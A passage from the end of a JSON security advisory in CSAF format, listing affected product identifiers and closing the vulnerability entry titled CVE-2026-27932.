                        "CSAFPID-5486928",
                        "CSAFPID-5486929",
                        "CSAFPID-5486930",
                        "CSAFPID-5486931",
                        "CSAFPID-5486932",
                        "CSAFPID-5486933",
                        "CSAFPID-5486934",
                        "CSAFPID-5486935",
                        "CSAFPID-5486936",
                        "CSAFPID-5486937",
                        "CSAFPID-5757221",
                        "CSAFPID-5759210",
                        "CSAFPID-5759211",
                        "CSAFPID-5759212",
                        "CSAFPID-5759213",
                        "CSAFPID-5759214",
                        "CSAFPID-5759215",
                        "CSAFPID-5759216",
                        "CSAFPID-5759217",
                        "CSAFPID-5759218",
                        "CSAFPID-5763311"
                    ]
                }
            ],
            "title": "CVE-2026-27932"
        }
    ]
}